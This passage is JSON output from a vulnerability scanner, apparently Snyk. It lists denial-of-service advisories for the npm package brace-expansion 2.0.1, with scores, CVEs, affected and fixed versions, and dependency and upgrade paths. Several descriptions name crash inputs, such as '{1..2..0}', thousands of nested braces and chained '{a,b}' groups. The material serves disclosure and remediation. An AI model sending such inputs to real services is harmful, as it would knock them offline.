"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
